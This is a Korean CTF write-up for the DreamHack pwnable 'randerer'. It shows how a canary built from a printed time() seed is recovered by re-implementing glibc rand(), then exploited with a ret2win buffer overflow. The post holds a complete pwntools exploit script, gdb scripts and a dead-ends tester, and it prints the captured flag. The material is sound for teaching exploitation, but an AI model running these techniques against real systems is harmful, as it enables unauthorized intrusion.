[🥉 Bronze 1] 시계를 보여주는 카나리 — DreamHack randerer 풀이

2026-10-25·1분 읽기·

[🥉 Bronze 1] 시계를 보여주는 카나리 — DreamHack randerer 풀이

스택 카나리를 컴파일러에 맡기지 않고 srand(time(NULL)) + rand() 로 직접 만든 바이너리. 그런데 main 이 그 씨드인 time(NULL) 을 화면에 그대로 찍어 준다. glibc rand 수열을 재현해 8바이트 카나리를 복원하고, 40바이트 뒤 리턴 주소를 win 으로 돌려 셸을 잡았다.

문제: DreamHack — randerer 분류: pwnable 난이도: 🥉 Bronze 1 FLAG: DH{995277f7:GOuz9U6faasv6OVEW6uo4A==}

문제 설명은 두 단어다. rand() canary!

보통 스택 카나리는 커널이 AT_RANDOM 으로 넣어 준 16바이트에서 떼어 오고, 컴파일러가 함수 머리와 끝에 검사 코드를 박는다. 이 문제는 그걸 전부 손으로 다시 만들었다. 난수원은 rand() 고, 씨드는 time(NULL) 이다. 그리고 프로그램은 접속하자마자 그 time(NULL) 값을 화면에 찍어 준다.


문제 개요

항목내용
문제명randerer
난이도🥉 Bronze 1
분류pwnable
제공 파일prob (ELF64 동적링크), Dockerfile(ubuntu 22.04 고정 다이제스트), 더미 flag
서버socat TCP-LISTEN:8080,reuseaddr,fork EXEC:./prob,stderr
보호 기법NX · Partial RELRO · No PIE · 컴파일러 스택 카나리 없음
핵심 취약점씨드가 노출된 PRNG 로 만든 자작 카나리 + read 길이 초과

풀이 흐름은 네 줄로 끝난다.

  1. .init_array 에 등록된 init_canary 가 srand(time(NULL)) 뒤 rand() 를 8번 돌려 전역 카나리를 만든다.
  2. main 은 그 카나리를 스택에 복사해 두고, 같은 time(NULL) 을 printf 로 알려준다.
  3. read(0, rbp-0x20, 0x100) — 0x20바이트 프레임에 256바이트를 받는다.
  4. 찍힌 시각으로 카나리를 복원해 그대로 덮고, 40바이트 뒤 리턴 주소를 win 으로 바꾼다.


🧩 배경 — 스택 카나리가 원래 막는 것

스택 버퍼 오버플로의 고전적인 그림은 이렇다. 지역 버퍼를 넘치게 채우면 그 위에 있는 saved rbp 와 리턴 주소가 같이 덮이고, 함수가 ret 할 때 공격자가 고른 주소로 뛴다.

지역 버퍼가 A 로 가득 차면서 위쪽의 리턴 주소까지 리틀엔디언 4바이트로 덮이는 고전적인 스택 버퍼 오버플로 그림
지역 버퍼가 A 로 가득 차면서 위쪽의 리턴 주소까지 리틀엔디언 4바이트로 덮이는 고전적인 스택 버퍼 오버플로 그림

출처: Wikimedia Commons, public domain

카나리는 버퍼와 리턴 주소 사이에 난수 한 덩어리를 끼워 넣는 방어다. 리턴 주소를 덮으려면 반드시 그 난수를 지나야 하는데, 값을 모르면 같은 값으로 복원할 수 없어 검사에서 걸린다.

그래서 카나리 방어의 전제는 딱 하나다. 그 값을 추측할 수 없어야 한다. 이 문제는 그 전제를 스스로 무너뜨린다. 난수가 아니라 시계를 쓰기 때문이다.


🔬 정찰 — 바이너리가 들고 있는 것

먼저 보호 기법과 심볼부터 본다.

file prob; pwn checksec prob; nm prob | grep -iE "canary|win|main|rand|time"
file 과 pwn checksec, nm 으로 본 prob 의 정체 — No PIE 에 NX 와 Partial RELRO 만 걸려 있고 컴파일러 스택 카나리는 없으며 심볼에 win 과 init_canary 가 그대로 남아 있다
file 과 pwn checksec, nm 으로 본 prob 의 정체 — No PIE 에 NX 와 Partial RELRO 만 걸려 있고 컴파일러 스택 카나리는 없으며 심볼에 win 과 init_canary 가 그대로 남아 있다

No PIE (0x400000) 라 모든 주소가 고정이다. Stack: No canary found — 컴파일러가 넣는 카나리는 없다. 대신 .bss 에 canary 라는 전역 변수가 0x4040b0 에 있고, init_canary 라는 함수가 따로 있다. win 심볼도 그대로다.

init_canary 는 main 어디에서도 호출되지 않는다. 그럼 누가 부르나. 생성자 목록을 본다.

objdump -s -j .init_array prob; objdump -s -j .rodata prob
objdump -s 로 읽은 .init_array 와 .rodata — 생성자 목록 두 번째 항목이 0x401236 곧 init_canary 이고 .rodata 에는 bin sh 문자열과 time 포맷 문자열이 나란히 들어 있다
objdump -s 로 읽은 .init_array 와 .rodata — 생성자 목록 두 번째 항목이 0x401236 곧 init_canary 이고 .rodata 에는 bin sh 문자열과 time 포맷 문자열이 나란히 들어 있다

.init_array 에 0x401230(frame_dummy)과 0x401236 두 개가 있다. 뒤의 것이 init_canary 주소다. 즉 main 이 시작되기 전에 동적 로더가 이 함수를 먼저 돌린다.

.rodata 도 미리 봐 두면 편하다. /bin/sh 가 0x402008 에 있고, time: %ld 포맷 문자열이 0x402010 에, 실패 메시지 *** stack smashing detected *** 가 0x402030 에 있다.


💣 init_canary — 카나리를 rand() 로 짜 맞춘다

생성자를 잘라서 읽는다. 핵심 줄에는 sed 로 설명을 붙였다(주석은 내가 붙인 것이고, objdump 가 원래 저렇게 찍어 주지는 않는다).

s|(call.*<time@plt>)|\1        <-- t = time(NULL)|
s|(call.*<srand@plt>)|\1       <-- srand(t)  : 씨드는 '지금 시각' 하나뿐|
s|(shl +rax,0x8)|\1            <-- canary <<= 8|
s|(call.*<rand@plt>)|\1        <-- rand()|
s|(movzx +eax,al)|\1           <-- 하위 1바이트만 취한다|
s|(or +rax,rbx)|\1             <-- canary \|= byte|
s|(cmp +DWORD PTR \[rbp-0x14\],0x7)|\1   <-- 0..7 → 8바이트를 채운다|
objdump -d --no-show-raw-insn -M intel --start-address=0x401236 --stop-address=0x401291 prob | sed -E -f annot_init.sed
objdump 로 자른 init_canary 디스어셈블리 — time 으로 받은 값을 srand 에 넣고 전역 canary 를 8비트 밀어 rand 의 하위 한 바이트를 더하는 루프를 여덟 번 돈다
objdump 로 자른 init_canary 디스어셈블리 — time 으로 받은 값을 srand 에 넣고 전역 canary 를 8비트 밀어 rand 의 하위 한 바이트를 더하는 루프를 여덟 번 돈다

C 로 옮기면 이게 전부다.

unsigned long canary;          /* .bss, 0x4040b0 */
 
void init_canary(void) {       /* __attribute__((constructor)) */
    srand(time(NULL));
    for (int i = 0; i <= 7; i++)
        canary = (canary << 8) | (rand() & 0xff);
}

rand() 는 31비트 값을 돌려주는데 movzx eax, al 로 하위 1바이트만 쓴다. 그걸 여덟 번 이어 붙여 64비트를 채운다. 첫 번째 rand() 의 바이트가 최상위, 마지막이 최하위다.

init_canary 동작 다이어그램 — time 으로 잡은 씨드가 srand 를 거쳐 rand 여덟 번으로 이어지고 각 호출의 하위 1바이트가 MSB 부터 차례로 쌓여 8바이트 카나리가 되는 흐름
init_canary 동작 다이어그램 — time 으로 잡은 씨드가 srand 를 거쳐 rand 여덟 번으로 이어지고 각 호출의 하위 1바이트가 MSB 부터 차례로 쌓여 8바이트 카나리가 되는 흐름

문제는 씨드다. time(NULL) 은 초 단위라 후보가 사실상 한 개고, 그나마도 곧 보듯이 프로그램이 직접 알려준다.



🎯 main — 씨드를 알려주고 256바이트를 받는다

이제 main 을 본다. 앞쪽 setvbuf 세 번은 건너뛰고 0x401311 부터 자른다.

s|(call.*<time@plt>)|\1        <-- main 도 time(NULL) 을 다시 부른다|
s|(mov +rax,QWORD PTR \[rip\+0x2d98\].*)|\1   <-- 전역 canary 를 읽어|
s|(mov +QWORD PTR \[rbp-0x10\],rax)|\1   <-- 스택 복사본 \[rbp-0x10\] 에 둔다|
s|(lea +rax,\[rip\+0xce0\].*)|\1   <-- "time: %ld" — 씨드를 그대로 출력|
s|(lea +rax,\[rbp-0x20\])|\1            <-- 입력 버퍼는 rbp-0x20|
s|(mov +edx,0x100)|\1              <-- 길이 0x100 = 256바이트|
s|(call.*<read@plt>)|\1        <-- 0x20 프레임에 256바이트 → 전면 오버플로우|
s|(cmp +rdx,rax)|\1               <-- 복사본 vs 전역 canary|
objdump -d --no-show-raw-insn -M intel --start-address=0x401311 --stop-address=0x401397 prob | sed -E -f annot_main.sed
objdump 로 본 main 본문 — 전역 canary 를 rbp-0x10 에 복사하고 time 값을 printf 로 찍은 뒤 rbp-0x20 버퍼에 read 로 0x100 바이트를 받고 두 값을 cmp 로 비교한다
objdump 로 본 main 본문 — 전역 canary 를 rbp-0x10 에 복사하고 time 값을 printf 로 찍은 뒤 rbp-0x20 버퍼에 read 로 0x100 바이트를 받고 두 값을 cmp 로 비교한다

세 가지가 한꺼번에 보인다.

첫째, 카나리 복사본은 [rbp-0x10] 에 있다. 버퍼 시작이 [rbp-0x20] 이니 버퍼 16바이트 바로 뒤다.

둘째, printf("time: %ld\n", time(NULL)) — 생성자가 쓴 것과 같은 초를 그대로 출력한다. 생성자와 이 printf 사이는 setvbuf 세 번뿐이라 마이크로초 단위로 끝난다. 초가 바뀔 일이 거의 없다.

셋째, read(0, rbp-0x20, 0x100). 프레임은 sub rsp,0x20 으로 32바이트인데 256바이트를 받는다. 224바이트가 프레임 밖으로 넘어간다.

검사는 cmp rdx, rax 한 번이다. 같으면 main 이 정상적으로 ret 하고, 다르면 puts 후 exit(1). 우리가 덮어야 할 리턴 주소는 카나리보다 위에 있으니 검사를 우회할 방법은 없다. 같은 값으로 복원해 덮는 수밖에 없다.

main 스택 프레임 다이어그램 — 입력 버퍼 16바이트와 카나리 복사본 8바이트, 미사용 8바이트, saved rbp 를 지나 40바이트째에 리턴 주소가 오는 배치와 보낼 페이로드의 대응
main 스택 프레임 다이어그램 — 입력 버퍼 16바이트와 카나리 복사본 8바이트, 미사용 8바이트, saved rbp 를 지나 40바이트째에 리턴 주소가 오는 배치와 보낼 페이로드의 대응

그러니까 페이로드는 48바이트다. 16바이트 패딩, 복원한 카나리 8바이트, 아무 값 16바이트, 그리고 리턴 주소.


🧮 glibc rand() 를 그대로 재현하기

ctypes 로 호스트 libc 의 srand/rand 를 부르면 한 줄로 끝난다. 하지만 문제 서버는 ubuntu 22.04(glibc 2.35)고 내 PC 는 glibc 2.42 다. 두 수열이 같다는 보장을 먼저 세워야 한다.

그래서 순수 파이썬으로 알고리즘을 직접 옮기고, 같은 씨드에서 호스트 libc 와 값이 일치하는지 대조했다. glibc 의 기본 rand 는 TYPE_3 additive feedback generator 다 — 상태 31워드, 간격 3이고 초기화 때 310회를 버린다.

#!/usr/bin/env python3
"""glibc rand() 재현 (TYPE_3 additive feedback, degree 31 / sep 3).
 
randerer 의 init_canary 는 srand(time(0)) 뒤 rand() 를 8번 불러
canary = (canary << 8) | (rand() & 0xff) 로 8바이트를 조립한다.
seed 가 화면에 찍히므로 같은 수열을 재현하면 canary 를 그대로 복원할 수 있다.
"""
import ctypes
 
 
def rand_pure(seed: int, n: int) -> list[int]:
    """순수 파이썬 재현. glibc srandom_r + random_r(TYPE_3) 를 그대로 옮긴 것."""
    s = [0] * (344 + n)
    s[0] = seed & 0xFFFFFFFF or 1
    # srandom_r: state[i] = 16807 * state[i-1] % 2147483647 (Schrage 곱셈)
    for i in range(1, 31):
        hi, lo = divmod(s[i - 1], 127773)
        word = 16807 * lo - 2836 * hi
        if word < 0:
            word += 2147483647
        s[i] = word
    # fptr=state+3, rptr=state+0 인 환형 버퍼를 선형 수열로 펼친 결과
    for i in range(31, 34):
        s[i] = s[i - 31]
    for i in range(34, 344 + n):
        s[i] = (s[i - 31] + s[i - 3]) & 0xFFFFFFFF
    # srandom_r 이 초기화 때 310회를 버린다 → 실제 첫 rand() 는 s[344]
    return [s[344 + k] >> 1 for k in range(n)]
 
 
def rand_libc(seed: int, n: int) -> list[int]:
    """같은 값을 호스트 glibc 로 직접 뽑아 대조용으로 쓴다."""
    libc = ctypes.CDLL("libc.so.6")
    libc.srand(ctypes.c_uint(seed))
    return [libc.rand() for _ in range(n)]
 
 
def canary_of(seed: int) -> int:
    """init_canary 와 동일한 조립: 첫 rand 의 하위 1바이트가 최상위 바이트."""
    c = 0
    for v in rand_pure(seed, 8):
        c = ((c << 8) | (v & 0xFF)) & 0xFFFFFFFFFFFFFFFF
    return c
 
 
if __name__ == "__main__":
    import sys
 
    seeds = [int(a) for a in sys.argv[1:]] or [0, 1, 1792861683, 1700000000]
    for sd in seeds:
        p, l = rand_pure(sd, 8), rand_libc(sd, 8)
        print(f"seed={sd:<12} pure={[hex(x & 0xff) for x in p]}")
        print(f"{'':<17} libc={[hex(x & 0xff) for x in l]}  "
              f"match={p == l}  canary=0x{canary_of(sd):016x}")
python3 glibc_rand.py 1700000000 1792862071
glibc_rand.py 실행 결과 — 순수 파이썬으로 재현한 수열과 ctypes 로 호스트 libc 에서 직접 뽑은 수열이 씨드 두 개 모두 여덟 바이트 전부 일치하고 조립한 카나리 값까지 같다
glibc_rand.py 실행 결과 — 순수 파이썬으로 재현한 수열과 ctypes 로 호스트 libc 에서 직접 뽑은 수열이 씨드 두 개 모두 여덟 바이트 전부 일치하고 조립한 카나리 값까지 같다

match=True 가 두 줄 다 뜬다. 뒤의 씨드 1792862071 은 나중에 라이브 서버가 찍어 준 값이고, 그때 복원한 카나리 0xf31193ee0019c514 가 여기 계산값과 같다.


🔎 런타임 검증 — 예측이 진짜 맞나

정적 분석만으로 "카나리는 이 값이다"라고 단정하긴 이르다. time() 을 한 값에 묶어 두고 gdb 로 메모리를 직접 읽어 확인했다.

/* time() 을 고정값으로 묶어 canary 를 결정론적으로 만든다.
   gcc -shared -fPIC -o fixtime.so fixtime.c
   LD_PRELOAD=./fixtime.so ./prob  ->  seed 는 항상 1700000000 */
#include <time.h>
#define FIXED 1700000000
time_t time(time_t *t) { if (t) *t = FIXED; return FIXED; }

페이로드 파일은 예측한 카나리로 미리 만들어 둔다.

from glibc_rand import canary_of
from pwn import p64
c = canary_of(1700000000)
print('canary', hex(c))
open('payload.bin','wb').write(b'A'*16+p64(c)+b'B'*16+p64(0x401299)+b'\nid; cat /etc/hostname; echo SHELL_OK\n')

gdb 스크립트는 세 지점을 잡는다. 전역 카나리를 읽는 순간, read 가 끝난 직후, 그리고 win 안에서 system 을 부르기 직전.

set confirm off
set pagination off
# main: 전역 canary 를 지역 복사본으로 옮기는 지점
break *0x401311
# read() 직후 — 덮어쓴 스택을 눈으로 확인
break *0x401367
# win 안에서 system() 을 호출하는 지점
break *0x4012a3
run < payload.bin
printf "[1] global canary @0x4040b0 = 0x%016lx\n", *(unsigned long*)0x4040b0
continue
printf "[2] rbp=%p  buf=%p  ret slot=%p\n", $rbp, $rbp-0x20, $rbp+8
printf "[2] ret offset from buf = %ld bytes\n", ($rbp+8)-($rbp-0x20)
printf "[2] canary copy @%p = 0x%016lx\n", $rbp-0x10, *(unsigned long*)($rbp-0x10)
printf "[2] overwritten ret = 0x%016lx\n", *(unsigned long*)($rbp+8)
x/6gx $rbp-0x20
continue
printf "[3] call system 직전: rsp=%p  rsp%%16=%lu  (ABI 요구치 0)\n", $rsp, ((unsigned long)$rsp)%16
printf "[3] rdi = %s\n", (char*)$rdi
x/1i $rip
kill
LD_PRELOAD=./fixtime.so gdb -q -batch -x runtime.gdb ./prob

gdb 에서는 입력이 소켓이 아니라 파일이라 read 가 파일 내용을 한 번에 다 삼킨다. 뒤에 붙인 셸 명령까지 같이 먹히니 /bin/sh 는 할 일 없이 끝난다. 그래서 call system 직전까지만 보고 kill 로 끊었다. 실제 셸은 아래 로컬·라이브 실행에서 확인한다.

gdb 배치 실행 화면 — 전역 카나리가 예측값과 같고 버퍼에서 리턴 주소까지 40바이트이며 call system 직전 rsp 가 16바이트 정렬에 맞고 rdi 에 bin sh 가 들어 있다
gdb 배치 실행 화면 — 전역 카나리가 예측값과 같고 버퍼에서 리턴 주소까지 40바이트이며 call system 직전 rsp 가 16바이트 정렬에 맞고 rdi 에 bin sh 가 들어 있다

세 가지가 한 화면에서 확인된다.

  • 전역 카나리가 0x270a8e14fc3f030c — 앞의 glibc_rand.py 가 씨드 1700000000 에 대해 내놓은 값과 같다.
  • ret offset from buf = 40 bytes — 다이어그램에서 계산한 오프셋이 실제로 맞다.
  • x/6gx 덤프에 A 16바이트, 카나리, B 16바이트, 그리고 0x401299 가 차례대로 보인다.


🐛 삽질 — 네 번 틀리고 알게 된 것

▶🐛 삽질 1 — win 함수 머리로 리턴하면 셸이 안 뜬다

처음엔 당연히 win 의 시작 주소 0x401291 을 리턴 주소로 넣었다. 로컬 컨테이너에서 돌렸더니 아무 응답도 없이 연결이 끊겼다. 카나리는 맞았는데(stack smashing 메시지가 안 나온다) system 이 안 도는 상황이다.

win 을 디스어셈블하고 같은 페이로드를 gdb 로 따라가 봤다.

from glibc_rand import canary_of
from pwn import p64
open('payload_misaligned.bin','wb').write(b'A'*16+p64(canary_of(1700000000))+b'B'*16+p64(0x401291)+b'\necho SHELL_OK\n')
s|(push +rbp)|\1                 <-- 이 한 줄이 rsp 를 8 어긋나게 만든다|
s|(lea +rax,\[rip\+0xd68\].*)|\1   <-- "/bin/sh"|
s|(call.*<system@plt>)|\1      <-- 여기서 rsp%16 == 0 이어야 한다|
set confirm off
set pagination off
# win 머리(0x401291)로 리턴하면 push rbp 가 rsp 를 8 어긋나게 만든다
break *0x4012a3
run < payload_misaligned.bin
printf "[win+0x12] call system 직전: rsp=%p  rsp%%16=%lu  (ABI 요구치 0)\n", $rsp, ((unsigned long)$rsp)%16
continue
info registers rip
x/1i $rip
objdump -d --no-show-raw-insn -M intel --start-address=0x401291 --stop-address=0x4012ab prob | sed -E -f annot_win.sed; LD_PRELOAD=./fixtime.so gdb -q -batch -x misalign.gdb ./prob
objdump 로 본 win 과 gdb 크래시 화면 — 함수 머리로 리턴하면 push rbp 때문에 call system 직전 rsp 가 8 어긋나고 do_system 안의 movaps 명령에서 세그먼테이션 폴트가 난다
objdump 로 본 win 과 gdb 크래시 화면 — 함수 머리로 리턴하면 push rbp 때문에 call system 직전 rsp 가 8 어긋나고 do_system 안의 movaps 명령에서 세그먼테이션 폴트가 난다

원인은 스택 정렬이었다. main 의 leave; ret 를 지나 win 에 들어온 시점에 rsp 는 16바이트 경계에 맞아 있다. 보통은 call 이 8바이트를 밀어 넣은 뒤라 8이 남아 있어야 하는데, 우리는 call 이 아니라 ret 으로 들어왔으니 한 칸 어긋난 상태다.

거기서 push rbp 를 한 번 더 하면 call system 직전 rsp%16 이 8 이 된다. x86-64 System V ABI 는 call 직전에 rsp 가 16의 배수여야 한다고 못박는다. 이 규약이 깨지면 SSE 명령이 터진다 — gdb 가 정확히 그 지점을 보여 준다. do_system+101 의 movaps %xmm1,(%rsp).

해결은 간단하다. push rbp 를 건너뛴 0x401299 로 들어가면 된다. rbp 를 안 세워도 system("/bin/sh") 만 돌면 그만이다.

▶🐛 삽질 2 — 씨드가 1초만 어긋나도 끝이다

time(NULL) 이 초 단위라, 생성자가 돌던 초와 printf 가 찍는 초가 다를 가능성을 생각했다. 혹시 몰라 --skew 옵션을 만들어 두고 실제로 1초 어긋나면 어떻게 되는지 재 봤다.

결론은 "완전히 망가진다"다. rand 수열은 씨드 1 차이에도 전혀 다른 값을 내놓으니 카나리 8바이트가 통째로 틀리고, 그대로 *** stack smashing detected *** 다.

다행히 실전에선 한 번도 어긋나지 않았다. 생성자와 printf 사이에 setvbuf 세 번밖에 없어 그 사이에 초가 넘어갈 확률이 아주 낮다. 그래도 solve.py 는 기본 3회 재시도를 돌게 두었다. 연결을 새로 열면 서버가 프로세스를 다시 띄우므로 카나리도 새로 뽑힌다.

▶🐛 삽질 3 — 막다른 길 네 가지를 한 번에 재 보기

말로만 "이러면 안 된다"고 적는 대신, 네 경우를 실제로 던져 보는 스크립트를 만들었다.

#!/usr/bin/env python3
"""막다른 길을 하나씩 실측한다. 로컬 컨테이너(127.0.0.1:15531) 대상.
 
1) canary 를 아무 값으로 덮기           -> *** stack smashing detected ***
2) seed 를 time+1 로 어긋나게 잡기       -> 같은 결과(예측 실패)
3) win 을 0x401291(push rbp 포함)로      -> system 호출 시점 rsp%16==0 이라 정렬 깨짐
4) win 을 0x401299(push rbp 생략)로      -> 정상
"""
import sys
import time
 
from pwn import context, p64, remote
 
from glibc_rand import canary_of
 
HOST, PORT = "127.0.0.1", 15531
 
 
def shot(label: str, canary_fn, win: int) -> None:
    io = remote(HOST, PORT)
    t = int(io.recvline_startswith(b"time: ").strip().split(b":")[1])
    io.recvuntil(b"input your data: ")
    io.send(b"A" * 16 + p64(canary_fn(t)) + b"B" * 16 + p64(win))
    time.sleep(0.3)
    io.sendline(b"echo SHELL_OK; cat flag")
    out = io.recvrepeat(2)
    io.close()
    verdict = "OK  " if b"SHELL_OK" in out else "FAIL"
    print(f"[{verdict}] {label}\n        win=0x{win:x} 응답={out[:120]!r}\n")
 
 
if __name__ == "__main__":
    context.arch = "amd64"
    context.log_level = "error"
    shot("1) canary 를 0x4141414141414141 로 덮기", lambda t: 0x4141414141414141, 0x401299)
    shot("2) seed 를 time+1 로 1초 어긋나게", lambda t: canary_of(t + 1), 0x401299)
    shot("3) win=0x401291 (push rbp 포함 — 정렬 어긋남)", canary_of, 0x401291)
    shot("4) win=0x401299 (push rbp 생략 — 정렬 맞음)", canary_of, 0x401299)
    sys.exit(0)
python3 deadends.py
deadends.py 실행 결과 — 카나리를 아무 값으로 덮거나 씨드를 1초 어긋나게 잡으면 stack smashing detected 로 끝나고 win 머리로 리턴한 세 번째는 응답이 아예 없으며 네 번째만 셸이 뜬다
deadends.py 실행 결과 — 카나리를 아무 값으로 덮거나 씨드를 1초 어긋나게 잡으면 stack smashing detected 로 끝나고 win 머리로 리턴한 세 번째는 응답이 아예 없으며 네 번째만 셸이 뜬다

1번과 2번은 같은 메시지로 죽는다. 카나리 검사는 틀린 이유를 구별해 주지 않는다. 3번은 응답 자체가 없다 — 메시지도 없이 죽으니 "왜 안 되지" 하고 한참 헤매기 좋은 실패다. 4번만 SHELL_OK 가 돌아온다.


🚀 Full Exploit

최종 스크립트다. rand 재현부를 안에 넣어 파일 하나로 돌아가게 했다.

#!/usr/bin/env python3
"""randerer (Dreamhack, Bronze 1 / pwnable) — rand() 로 만든 자작 canary 를 예측해 ret2win.
 
init_canary 가 .init_array 에서 srand(time(0)) 로 씨드를 잡고
    canary = (canary << 8) | (rand() & 0xff)
를 8번 돌려 전역 canary(0x4040b0) 를 만든다. main 은 그 값을 [rbp-0x10] 에 복사해 두고
"time: %ld" 로 time(0) 를 그대로 알려준 뒤 read(0, [rbp-0x20], 0x100) 으로
0x20 바이트 프레임에 256 바이트를 받는다.
→ 화면에 찍힌 time 으로 canary 를 복원해 같은 값으로 덮고, 리턴 주소를 win 으로 돌린다.
 
스택 배치 (rbp 기준, gdb 로 실측):
    [rbp-0x20] 입력 버퍼 시작        offset  0
    [rbp-0x10] canary 복사본         offset 16
    [rbp-0x08] 미사용                offset 24
    [rbp+0x00] saved rbp             offset 32
    [rbp+0x08] return address        offset 40
 
사용법:
    python3 solve.py host3.dreamhack.games:PORT      # 라이브
    python3 solve.py 127.0.0.1:15531                 # 로컬 docker
    python3 solve.py                                 # ./prob 직접 실행
"""
import argparse
import sys
import time as _time
 
from pwn import context, log, p64, process, remote
 
# ── win 진입점 ──────────────────────────────────────────────────────────────
# 0x401291 (함수 머리) 로 들어가면 push rbp 때문에 call system 직전 rsp%16 이 8 이 되고
# do_system+101 의 `movaps %xmm1,(%rsp)` 에서 SIGSEGV 가 난다.
# push rbp 를 건너뛴 0x401299 로 들어가야 rsp%16 == 0 이라 셸이 뜬다.
WIN = 0x401299
RET_OFFSET = 40
CANARY_OFFSET = 16
 
 
def glibc_rand(seed: int, n: int) -> list[int]:
    """glibc rand() 수열 재현 (TYPE_3 additive feedback, degree 31 / sep 3)."""
    s = [0] * (344 + n)
    s[0] = (seed & 0xFFFFFFFF) or 1
    # srandom_r 초기화: state[i] = 16807 * state[i-1] % 2147483647 (Schrage 곱셈)
    for i in range(1, 31):
        hi, lo = divmod(s[i - 1], 127773)
        word = 16807 * lo - 2836 * hi
        s[i] = word + 2147483647 if word < 0 else word
    # fptr=state+3, rptr=state+0 인 환형 버퍼를 선형 수열로 펼친 모양
    for i in range(31, 34):
        s[i] = s[i - 31]
    for i in range(34, 344 + n):
        s[i] = (s[i - 31] + s[i - 3]) & 0xFFFFFFFF
    # 초기화 때 310 회를 버리므로 실제 첫 rand() 는 s[344]
    return [s[344 + k] >> 1 for k in range(n)]
 
 
def canary_of(seed: int) -> int:
    """init_canary 와 동일한 조립 — 첫 rand 의 하위 1바이트가 최상위 바이트가 된다."""
    c = 0
    for v in glibc_rand(seed, 8):
        c = ((c << 8) | (v & 0xFF)) & 0xFFFFFFFFFFFFFFFF
    return c
 
 
def build(canary: int) -> bytes:
    pad = b"A" * CANARY_OFFSET
    tail = b"B" * (RET_OFFSET - CANARY_OFFSET - 8)   # [rbp-0x8] + saved rbp
    return pad + p64(canary) + tail + p64(WIN)
 
 
def attack(io, skew: int) -> bool:
    seed = int(io.recvline_startswith(b"time: ").strip().split(b":")[1]) + skew
    canary = canary_of(seed)
    log.info("seed=%d (skew %+d)  ->  canary=0x%016x", seed, skew, canary)
    io.recvuntil(b"input your data: ")
    io.send(build(canary))
    _time.sleep(0.3)
    io.sendline(b"echo SHELL_OK; id; ls -la; cat flag")
    out = io.recvrepeat(3)
    print(out.decode(errors="replace"))
    if b"SHELL_OK" not in out:
        log.failure("셸 미획득 (canary 예측 실패 또는 정렬 문제)")
        return False
    for tok in out.split():
        if tok.startswith(b"DH{") or tok.startswith(b"flag{"):
            log.success("FLAG = %s", tok.decode())
    return True
 
 
def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("target", nargs="?", help="host:port (생략하면 ./prob 실행)")
    ap.add_argument("--skew", type=int, default=0, help="찍힌 time 에 더할 보정값")
    ap.add_argument("--tries", type=int, default=3)
    a = ap.parse_args()
    context.arch = "amd64"
    context.log_level = "info"
 
    for n in range(1, a.tries + 1):
        host, port = a.target.rsplit(":", 1) if a.target else (None, None)
        io = remote(host, int(port)) if a.target else process("./prob")
        try:
            if attack(io, a.skew):
                return 0
        finally:
            io.close()
        log.info("재시도 %d/%d", n, a.tries)
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

로컬에서 먼저

배포본에 Dockerfile 이 있고 베이스 이미지가 다이제스트로 고정돼 있어 서버와 같은 glibc 2.35 환경을 그대로 띄울 수 있다. 라이브 VM 을 켜기 전에 여기서 끝까지 맞춰 뒀다.

docker build -t randerer-local extracted/
docker run --rm -d --name randerer-test -p 15532:8080 randerer-local; sleep 2; python3 solve.py 127.0.0.1:15532 --tries 1; docker rm -f randerer-test
로컬 docker 컨테이너를 띄워 solve.py 를 돌린 화면 — 배포본과 같은 ubuntu 22.04 이미지에서 uid 1000 pwn 셸을 잡고 홈 디렉토리의 더미 flag 파일 내용을 그대로 읽어 온다
로컬 docker 컨테이너를 띄워 solve.py 를 돌린 화면 — 배포본과 같은 ubuntu 22.04 이미지에서 uid 1000 pwn 셸을 잡고 홈 디렉토리의 더미 flag 파일 내용을 그대로 읽어 온다

로컬 flag 파일은 배포본에 들어 있던 더미라 flag{flag} 가 나온다. 익스플로잇이 도는지 확인하는 용도다.

그리고 라이브

python3 solve.py host3.dreamhack.games:19154 --tries 1
라이브 서버 대상 solve.py 실행 화면 — 서버가 찍어 준 time 값으로 카나리를 복원해 한 번에 uid 1337 pwn 셸을 잡고 홈 디렉토리의 flag 파일을 읽어 냈다
라이브 서버 대상 solve.py 실행 화면 — 서버가 찍어 준 time 값으로 카나리를 복원해 한 번에 uid 1337 pwn 셸을 잡고 홈 디렉토리의 flag 파일을 읽어 냈다

서버가 찍어 준 time: 1792862071 로 카나리 0xf31193ee0019c514 를 복원했고, 그대로 한 번에 uid=1337(pwn) 셸이 떨어졌다. 앞의 glibc_rand.py 교차검증 화면에 같은 씨드가 들어 있는 건 그래서다.

DH{995277f7:GOuz9U6faasv6OVEW6uo4A==}


📝 결론

난수의 품질은 알고리즘이 아니라 씨드가 정한다.

rand() 자체는 암호용이 아니지만, 이 문제를 깬 건 rand 의 약함이 아니었다. 씨드가 time(NULL) 이라 후보가 초 단위 한 개뿐이었고, 심지어 프로그램이 그 값을 출력해 줬다. 씨드만 알면 rand 수열은 완전히 결정적이다. 메르센 트위스터를 썼더라도 결과는 같았을 것이다.

카나리를 직접 만들면 커널이 해 주던 일까지 떠안는다.

컴파일러가 넣는 카나리는 AT_RANDOM 에서 값을 받고, 첫 바이트를 \x00 으로 둬서 문자열 함수로 새는 것까지 막는다. 손으로 만든 init_canary 는 그중 아무것도 하지 않는다. -fstack-protector-strong 을 끄고 비슷한 걸 직접 짜고 싶다면, 적어도 getrandom(2) 이나 /dev/urandom 을 쓰고 값을 절대 출력 경로에 노출하지 말아야 한다.

버퍼 크기와 read 길이가 따로 노는 순간 끝이다.

프레임은 32바이트인데 read 는 256바이트를 받는다. 카나리는 이 상황에서 "덮는 것"을 막는 게 아니라 "덮은 뒤 들키게 하는" 장치일 뿐이다. 값이 예측되면 방어가 통째로 사라진다. 길이는 sizeof(buf) 로 묶는 게 먼저다.

실패가 조용할수록 오래 헤맨다.

정렬이 어긋난 win 호출은 아무 메시지도 안 남기고 죽었다. 카나리가 틀렸을 때는 그나마 stack smashing detected 라도 찍혀 원인이 보였는데, 이쪽은 단서가 없다. 익스플로잇이 "그냥 안 될" 때 gdb 로 rsp%16 을 한 번 찍어 보는 습관이 시간을 많이 아껴 준다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 2] OOB read 로 카나리 흘려보고 BOF 로 셸 — DreamHack ssp_001 풀이
blog

[🥉 Bronze 2] OOB read 로 카나리 흘려보고 BOF 로 셸 — DreamHack ssp_001 풀이

